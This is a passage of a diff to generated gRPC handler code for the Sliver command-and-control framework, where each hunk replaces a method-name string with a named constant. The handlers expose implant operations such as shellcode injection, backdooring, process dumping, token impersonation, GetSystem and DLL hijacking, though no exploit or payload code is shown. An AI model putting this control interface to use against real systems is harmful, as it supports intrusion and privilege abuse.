"/rpcpb.SliverRPC/ShellcodeRDI", + FullMethod: SliverRPC_ShellcodeRDI_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).ShellcodeRDI(ctx, req.(*clientpb.ShellcodeRDIReq)) @@ -3879,7 +4013,7 @@ func _SliverRPC_GetCompiler_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetCompiler", + FullMethod: SliverRPC_GetCompiler_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetCompiler(ctx, req.(*commonpb.Empty)) @@ -3897,7 +4031,7 @@ func _SliverRPC_ShellcodeEncoder_Handler(srv interface{}, ctx context.Context, d } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/ShellcodeEncoder", + FullMethod: SliverRPC_ShellcodeEncoder_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).ShellcodeEncoder(ctx, req.(*clientpb.ShellcodeEncodeReq)) @@ -3915,7 +4049,7 @@ func _SliverRPC_ShellcodeEncoderMap_Handler(srv interface{}, ctx context.Context } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/ShellcodeEncoderMap", + FullMethod: SliverRPC_ShellcodeEncoderMap_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).ShellcodeEncoderMap(ctx, req.(*commonpb.Empty)) @@ -3933,7 +4067,7 @@ func _SliverRPC_TrafficEncoderMap_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/TrafficEncoderMap", + FullMethod: SliverRPC_TrafficEncoderMap_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).TrafficEncoderMap(ctx, req.(*commonpb.Empty)) @@ -3951,7 +4085,7 @@ func _SliverRPC_TrafficEncoderAdd_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/TrafficEncoderAdd", + FullMethod: SliverRPC_TrafficEncoderAdd_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).TrafficEncoderAdd(ctx, req.(*clientpb.TrafficEncoder)) @@ -3969,7 +4103,7 @@ func _SliverRPC_TrafficEncoderRm_Handler(srv interface{}, ctx context.Context, d } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/TrafficEncoderRm", + FullMethod: SliverRPC_TrafficEncoderRm_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).TrafficEncoderRm(ctx, req.(*clientpb.TrafficEncoder)) @@ -3987,7 +4121,7 @@ func _SliverRPC_Websites_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Websites", + FullMethod: SliverRPC_Websites_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Websites(ctx, req.(*commonpb.Empty)) @@ -4005,7 +4139,7 @@ func _SliverRPC_Website_Handler(srv interface{}, ctx context.Context, dec func(i } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Website", + FullMethod: SliverRPC_Website_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Website(ctx, req.(*clientpb.Website)) @@ -4023,7 +4157,7 @@ func _SliverRPC_WebsiteRemove_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/WebsiteRemove", + FullMethod: SliverRPC_WebsiteRemove_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).WebsiteRemove(ctx, req.(*clientpb.Website)) @@ -4041,7 +4175,7 @@ func _SliverRPC_WebsiteAddContent_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/WebsiteAddContent", + FullMethod: SliverRPC_WebsiteAddContent_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).WebsiteAddContent(ctx, req.(*clientpb.WebsiteAddContent)) @@ -4059,7 +4193,7 @@ func _SliverRPC_WebsiteUpdateContent_Handler(srv interface{}, ctx context.Contex } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/WebsiteUpdateContent", + FullMethod: SliverRPC_WebsiteUpdateContent_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).WebsiteUpdateContent(ctx, req.(*clientpb.WebsiteAddContent)) @@ -4077,7 +4211,7 @@ func _SliverRPC_WebsiteRemoveContent_Handler(srv interface{}, ctx context.Contex } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/WebsiteRemoveContent", + FullMethod: SliverRPC_WebsiteRemoveContent_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).WebsiteRemoveContent(ctx, req.(*clientpb.WebsiteRemoveContent)) @@ -4095,7 +4229,7 @@ func _SliverRPC_Ping_Handler(srv interface{}, ctx context.Context, dec func(inte } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Ping", + FullMethod: SliverRPC_Ping_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Ping(ctx, req.(*sliverpb.Ping)) @@ -4113,7 +4247,7 @@ func _SliverRPC_Ps_Handler(srv interface{}, ctx context.Context, dec func(interf } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Ps", + FullMethod: SliverRPC_Ps_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Ps(ctx, req.(*sliverpb.PsReq)) @@ -4131,7 +4265,7 @@ func _SliverRPC_Terminate_Handler(srv interface{}, ctx context.Context, dec func } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Terminate", + FullMethod: SliverRPC_Terminate_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Terminate(ctx, req.(*sliverpb.TerminateReq)) @@ -4149,7 +4283,7 @@ func _SliverRPC_Ifconfig_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Ifconfig", + FullMethod: SliverRPC_Ifconfig_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Ifconfig(ctx, req.(*sliverpb.IfconfigReq)) @@ -4167,7 +4301,7 @@ func _SliverRPC_Netstat_Handler(srv interface{}, ctx context.Context, dec func(i } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Netstat", + FullMethod: SliverRPC_Netstat_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Netstat(ctx, req.(*sliverpb.NetstatReq)) @@ -4185,7 +4319,7 @@ func _SliverRPC_Ls_Handler(srv interface{}, ctx context.Context, dec func(interf } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Ls", + FullMethod: SliverRPC_Ls_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Ls(ctx, req.(*sliverpb.LsReq)) @@ -4203,7 +4337,7 @@ func _SliverRPC_Cd_Handler(srv interface{}, ctx context.Context, dec func(interf } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Cd", + FullMethod: SliverRPC_Cd_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Cd(ctx, req.(*sliverpb.CdReq)) @@ -4221,7 +4355,7 @@ func _SliverRPC_Pwd_Handler(srv interface{}, ctx context.Context, dec func(inter } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Pwd", + FullMethod: SliverRPC_Pwd_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Pwd(ctx, req.(*sliverpb.PwdReq)) @@ -4239,7 +4373,7 @@ func _SliverRPC_Mv_Handler(srv interface{}, ctx context.Context, dec func(interf } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Mv", + FullMethod: SliverRPC_Mv_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Mv(ctx, req.(*sliverpb.MvReq)) @@ -4257,7 +4391,7 @@ func _SliverRPC_Cp_Handler(srv interface{}, ctx context.Context, dec func(interf } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Cp", + FullMethod: SliverRPC_Cp_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Cp(ctx, req.(*sliverpb.CpReq)) @@ -4275,7 +4409,7 @@ func _SliverRPC_Rm_Handler(srv interface{}, ctx context.Context, dec func(interf } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Rm", + FullMethod: SliverRPC_Rm_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Rm(ctx, req.(*sliverpb.RmReq)) @@ -4293,7 +4427,7 @@ func _SliverRPC_Mkdir_Handler(srv interface{}, ctx context.Context, dec func(int } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Mkdir", + FullMethod: SliverRPC_Mkdir_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Mkdir(ctx, req.(*sliverpb.MkdirReq)) @@ -4311,7 +4445,7 @@ func _SliverRPC_Download_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Download", + FullMethod: SliverRPC_Download_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Download(ctx, req.(*sliverpb.DownloadReq)) @@ -4329,7 +4463,7 @@ func _SliverRPC_Upload_Handler(srv interface{}, ctx context.Context, dec func(in } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Upload", + FullMethod: SliverRPC_Upload_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Upload(ctx, req.(*sliverpb.UploadReq)) @@ -4347,7 +4481,7 @@ func _SliverRPC_Chmod_Handler(srv interface{}, ctx context.Context, dec func(int } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Chmod", + FullMethod: SliverRPC_Chmod_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Chmod(ctx, req.(*sliverpb.ChmodReq)) @@ -4365,7 +4499,7 @@ func _SliverRPC_Chown_Handler(srv interface{}, ctx context.Context, dec func(int } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Chown", + FullMethod: SliverRPC_Chown_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Chown(ctx, req.(*sliverpb.ChownReq)) @@ -4383,7 +4517,7 @@ func _SliverRPC_Chtimes_Handler(srv interface{}, ctx context.Context, dec func(i } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Chtimes", + FullMethod: SliverRPC_Chtimes_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Chtimes(ctx, req.(*sliverpb.ChtimesReq)) @@ -4401,7 +4535,7 @@ func _SliverRPC_MemfilesList_Handler(srv interface{}, ctx context.Context, dec f } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/MemfilesList", + FullMethod: SliverRPC_MemfilesList_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).MemfilesList(ctx, req.(*sliverpb.MemfilesListReq)) @@ -4419,7 +4553,7 @@ func _SliverRPC_MemfilesAdd_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/MemfilesAdd", + FullMethod: SliverRPC_MemfilesAdd_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).MemfilesAdd(ctx, req.(*sliverpb.MemfilesAddReq)) @@ -4437,7 +4571,7 @@ func _SliverRPC_MemfilesRm_Handler(srv interface{}, ctx context.Context, dec fun } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/MemfilesRm", + FullMethod: SliverRPC_MemfilesRm_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).MemfilesRm(ctx, req.(*sliverpb.MemfilesRmReq)) @@ -4455,7 +4589,7 @@ func _SliverRPC_ProcessDump_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/ProcessDump", + FullMethod: SliverRPC_ProcessDump_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).ProcessDump(ctx, req.(*sliverpb.ProcessDumpReq)) @@ -4473,7 +4607,7 @@ func _SliverRPC_RunAs_Handler(srv interface{}, ctx context.Context, dec func(int } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RunAs", + FullMethod: SliverRPC_RunAs_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RunAs(ctx, req.(*sliverpb.RunAsReq)) @@ -4491,7 +4625,7 @@ func _SliverRPC_Impersonate_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Impersonate", + FullMethod: SliverRPC_Impersonate_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Impersonate(ctx, req.(*sliverpb.ImpersonateReq)) @@ -4509,7 +4643,7 @@ func _SliverRPC_RevToSelf_Handler(srv interface{}, ctx context.Context, dec func } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RevToSelf", + FullMethod: SliverRPC_RevToSelf_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RevToSelf(ctx, req.(*sliverpb.RevToSelfReq)) @@ -4527,7 +4661,7 @@ func _SliverRPC_GetSystem_Handler(srv interface{}, ctx context.Context, dec func } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetSystem", + FullMethod: SliverRPC_GetSystem_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetSystem(ctx, req.(*clientpb.GetSystemReq)) @@ -4545,7 +4679,7 @@ func _SliverRPC_Task_Handler(srv interface{}, ctx context.Context, dec func(inte } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Task", + FullMethod: SliverRPC_Task_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Task(ctx, req.(*sliverpb.TaskReq)) @@ -4563,7 +4697,7 @@ func _SliverRPC_Msf_Handler(srv interface{}, ctx context.Context, dec func(inter } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Msf", + FullMethod: SliverRPC_Msf_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Msf(ctx, req.(*clientpb.MSFReq)) @@ -4581,7 +4715,7 @@ func _SliverRPC_MsfRemote_Handler(srv interface{}, ctx context.Context, dec func } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/MsfRemote", + FullMethod: SliverRPC_MsfRemote_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).MsfRemote(ctx, req.(*clientpb.MSFRemoteReq)) @@ -4599,7 +4733,7 @@ func _SliverRPC_ExecuteAssembly_Handler(srv interface{}, ctx context.Context, de } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/ExecuteAssembly", + FullMethod: SliverRPC_ExecuteAssembly_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).ExecuteAssembly(ctx, req.(*sliverpb.ExecuteAssemblyReq)) @@ -4617,7 +4751,7 @@ func _SliverRPC_Migrate_Handler(srv interface{}, ctx context.Context, dec func(i } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Migrate", + FullMethod: SliverRPC_Migrate_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Migrate(ctx, req.(*clientpb.MigrateReq)) @@ -4635,7 +4769,7 @@ func _SliverRPC_Execute_Handler(srv interface{}, ctx context.Context, dec func(i } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Execute", + FullMethod: SliverRPC_Execute_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Execute(ctx, req.(*sliverpb.ExecuteReq)) @@ -4653,7 +4787,7 @@ func _SliverRPC_ExecuteWindows_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/ExecuteWindows", + FullMethod: SliverRPC_ExecuteWindows_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).ExecuteWindows(ctx, req.(*sliverpb.ExecuteWindowsReq)) @@ -4671,7 +4805,7 @@ func _SliverRPC_Sideload_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Sideload", + FullMethod: SliverRPC_Sideload_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Sideload(ctx, req.(*sliverpb.SideloadReq)) @@ -4689,7 +4823,7 @@ func _SliverRPC_SpawnDll_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/SpawnDll", + FullMethod: SliverRPC_SpawnDll_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).SpawnDll(ctx, req.(*sliverpb.InvokeSpawnDllReq)) @@ -4707,7 +4841,7 @@ func _SliverRPC_Screenshot_Handler(srv interface{}, ctx context.Context, dec fun } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Screenshot", + FullMethod: SliverRPC_Screenshot_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Screenshot(ctx, req.(*sliverpb.ScreenshotReq)) @@ -4725,7 +4859,7 @@ func _SliverRPC_CurrentTokenOwner_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CurrentTokenOwner", + FullMethod: SliverRPC_CurrentTokenOwner_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CurrentTokenOwner(ctx, req.(*sliverpb.CurrentTokenOwnerReq)) @@ -4743,7 +4877,7 @@ func _SliverRPC_PivotStartListener_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/PivotStartListener", + FullMethod: SliverRPC_PivotStartListener_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).PivotStartListener(ctx, req.(*sliverpb.PivotStartListenerReq)) @@ -4761,7 +4895,7 @@ func _SliverRPC_PivotStopListener_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/PivotStopListener", + FullMethod: SliverRPC_PivotStopListener_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).PivotStopListener(ctx, req.(*sliverpb.PivotStopListenerReq)) @@ -4779,7 +4913,7 @@ func _SliverRPC_PivotSessionListeners_Handler(srv interface{}, ctx context.Conte } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/PivotSessionListeners", + FullMethod: SliverRPC_PivotSessionListeners_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).PivotSessionListeners(ctx, req.(*sliverpb.PivotListenersReq)) @@ -4797,7 +4931,7 @@ func _SliverRPC_PivotGraph_Handler(srv interface{}, ctx context.Context, dec fun } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/PivotGraph", + FullMethod: SliverRPC_PivotGraph_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).PivotGraph(ctx, req.(*commonpb.Empty)) @@ -4815,7 +4949,7 @@ func _SliverRPC_StartService_Handler(srv interface{}, ctx context.Context, dec f } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/StartService", + FullMethod: SliverRPC_StartService_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).StartService(ctx, req.(*sliverpb.StartServiceReq)) @@ -4833,7 +4967,7 @@ func _SliverRPC_StopService_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/StopService", + FullMethod: SliverRPC_StopService_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).StopService(ctx, req.(*sliverpb.StopServiceReq)) @@ -4851,7 +4985,7 @@ func _SliverRPC_RemoveService_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RemoveService", + FullMethod: SliverRPC_RemoveService_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RemoveService(ctx, req.(*sliverpb.RemoveServiceReq)) @@ -4869,7 +5003,7 @@ func _SliverRPC_MakeToken_Handler(srv interface{}, ctx context.Context, dec func } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/MakeToken", + FullMethod: SliverRPC_MakeToken_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).MakeToken(ctx, req.(*sliverpb.MakeTokenReq)) @@ -4887,7 +5021,7 @@ func _SliverRPC_GetEnv_Handler(srv interface{}, ctx context.Context, dec func(in } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetEnv", + FullMethod: SliverRPC_GetEnv_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetEnv(ctx, req.(*sliverpb.EnvReq)) @@ -4905,7 +5039,7 @@ func _SliverRPC_SetEnv_Handler(srv interface{}, ctx context.Context, dec func(in } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/SetEnv", + FullMethod: SliverRPC_SetEnv_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).SetEnv(ctx, req.(*sliverpb.SetEnvReq)) @@ -4923,7 +5057,7 @@ func _SliverRPC_UnsetEnv_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/UnsetEnv", + FullMethod: SliverRPC_UnsetEnv_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).UnsetEnv(ctx, req.(*sliverpb.UnsetEnvReq)) @@ -4941,7 +5075,7 @@ func _SliverRPC_Backdoor_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Backdoor", + FullMethod: SliverRPC_Backdoor_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Backdoor(ctx, req.(*clientpb.BackdoorReq)) @@ -4959,7 +5093,7 @@ func _SliverRPC_RegistryRead_Handler(srv interface{}, ctx context.Context, dec f } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RegistryRead", + FullMethod: SliverRPC_RegistryRead_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RegistryRead(ctx, req.(*sliverpb.RegistryReadReq)) @@ -4977,7 +5111,7 @@ func _SliverRPC_RegistryWrite_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RegistryWrite", + FullMethod: SliverRPC_RegistryWrite_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RegistryWrite(ctx, req.(*sliverpb.RegistryWriteReq)) @@ -4995,7 +5129,7 @@ func _SliverRPC_RegistryCreateKey_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RegistryCreateKey", + FullMethod: SliverRPC_RegistryCreateKey_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RegistryCreateKey(ctx, req.(*sliverpb.RegistryCreateKeyReq)) @@ -5013,7 +5147,7 @@ func _SliverRPC_RegistryDeleteKey_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RegistryDeleteKey", + FullMethod: SliverRPC_RegistryDeleteKey_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RegistryDeleteKey(ctx, req.(*sliverpb.RegistryDeleteKeyReq)) @@ -5031,7 +5165,7 @@ func _SliverRPC_RegistryListSubKeys_Handler(srv interface{}, ctx context.Context } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RegistryListSubKeys", + FullMethod: SliverRPC_RegistryListSubKeys_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RegistryListSubKeys(ctx, req.(*sliverpb.RegistrySubKeyListReq)) @@ -5049,7 +5183,7 @@ func _SliverRPC_RegistryListValues_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RegistryListValues", + FullMethod: SliverRPC_RegistryListValues_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RegistryListValues(ctx, req.(*sliverpb.RegistryListValuesReq)) @@ -5067,7 +5201,7 @@ func _SliverRPC_RunSSHCommand_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RunSSHCommand", + FullMethod: SliverRPC_RunSSHCommand_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RunSSHCommand(ctx, req.(*sliverpb.SSHCommandReq)) @@ -5085,7 +5219,7 @@ func _SliverRPC_HijackDLL_Handler(srv interface{}, ctx context.Context, dec func } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/HijackDLL", + FullMethod: SliverRPC_HijackDLL_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).HijackDLL(ctx, req.(*clientpb.DllHijackReq)) @@ -5103,7 +5237,7 @@ func _SliverRPC_GetPrivs_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetPrivs", + FullMethod: SliverRPC_GetPrivs_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetPrivs(ctx, req.(*sliverpb.GetPrivsReq)) @@ -5121,7 +5255,7 @@ func _SliverRPC_StartRportFwdListener_Handler(srv interface{}, ctx context.Conte } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/StartRportFwdListener", + FullMethod: SliverRPC_StartRportFwdListener_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).StartRportFwdListener(ctx, req.(*sliverpb.RportFwdStartListenerReq)) @@ -5139,7 +5273,7 @@ func _SliverRPC_GetRportFwdListeners_Handler(srv interface{}, ctx context.Contex } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: 